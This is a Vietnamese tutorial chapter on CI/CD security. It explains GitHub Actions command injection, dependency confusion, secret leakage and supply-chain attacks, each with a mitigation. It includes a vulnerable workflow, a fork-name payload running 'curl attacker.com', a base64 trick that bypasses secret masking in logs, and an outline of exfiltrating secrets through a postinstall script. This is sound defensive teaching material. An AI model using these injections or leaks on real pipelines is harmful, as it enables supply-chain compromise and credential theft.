Chương 30: CI/CD Security
Khái niệm
CI/CD pipelines là một trong những attack surfaces quan trọng nhất trong modern DevOps. Compromise pipeline = compromise toàn bộ software supply chain.
Pipeline Injection
# GitHub Actions — Vulnerable
name: CI
on:
pull_request:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Greet contributor
run: echo "Hello ${{ github.event.pull_request.head.repo.full_name }}"
# ← Nếu fork repo name chứa shell injection payload!
# Attack: Fork repo với name: "user/repo$(curl attacker.com)"
# → Bash execute curl command trong pipeline context
Phòng chống:
# ĐÚNG: Set env variable trước, reference qua env
- name: Greet contributor
env:
REPO_NAME: ${{ github.event.pull_request.head.repo.full_name }}
run: echo "Hello $REPO_NAME"
# $REPO_NAME passed as string, không executed as shell
Dependency Confusion
Public package: lodash (tên)
Internal package: company-utils (tên) → chỉ có trên internal registry
Attack:
1. Hacker publish package tên "company-utils" lên npmjs.com với version cao hơn
2. npm/pip check public registry trước (hoặc cùng lúc)
3. Download malicious "company-utils" v99.0.0 thay vì internal v1.0.0
4. Malicious package chạy postinstall script → exfiltrate secrets
Phòng chống:
1. Dùng scoped packages: @company/utils (npm)
2. Configure package manager chỉ dùng internal registry
3. Verify package checksums (package-lock.json, pip hash)
4. Block outbound đến public registry từ build environment
Secrets trong CI/CD
# SAI: Hardcode trong pipeline
- name: Deploy
run: |
docker login -u admin -p SuperSecret123
# ĐÚNG: Dùng secrets
- name: Deploy
env:
DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
run: |
echo "$DOCKER_PASSWORD" | docker login -u admin --password-stdin
# Log masking: GitHub tự mask secrets trong logs
# Nhưng base64 encode sẽ bypass masking!
# - name: Debug (NGUY HIỂM!)
# run: echo "${{ secrets.MY_SECRET }}" | base64
Supply Chain Attacks
SolarWinds style attack:
1. Compromise upstream dependency
2. Inject malicious code vào legitimate package
3. Downstream consumers install without knowing
Phòng chống:
- Pin exact versions (không dùng @latest hoặc ~1.0)
- Verify checksums/hashes
- SBOM (Software Bill of Materials)
- Dependency scanning: Snyk, Dependabot, Trivy
- Private mirror cho dependencies
SAST và DAST trong Pipeline
# GitHub Actions với SAST
name: Security
on: [push, pull_request]
jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: SAST với Semgrep
run: |
pip install semgrep
semgrep --config=p/owasp-top-ten \
--config=p/sql-injection \
--config=p/command-injection \
src/ \
--output report.json \
--json
- name: Dependency Scan với Safety
run: |
pip install safety
safety check -r requirements.txt
dast:
needs: [build, deploy-staging]
runs-on: ubuntu-latest
steps:
- name: DAST với ZAP
run: |
docker run owasp/zap2docker-stable \
zap-baseline.py \
-t https://staging.example.com \
-r zap-report.html
Tóm tắt
- Pipeline injection: user-controlled input chạy trong pipeline context.
- Dependency confusion: public package hijack tên internal package.
- Secrets: dùng CI/CD secret store, không hardcode, cẩn thận với encoding.
- Supply chain: pin versions, verify hashes, scan dependencies.
- SAST chạy trong PR check; DAST chạy sau deploy to staging.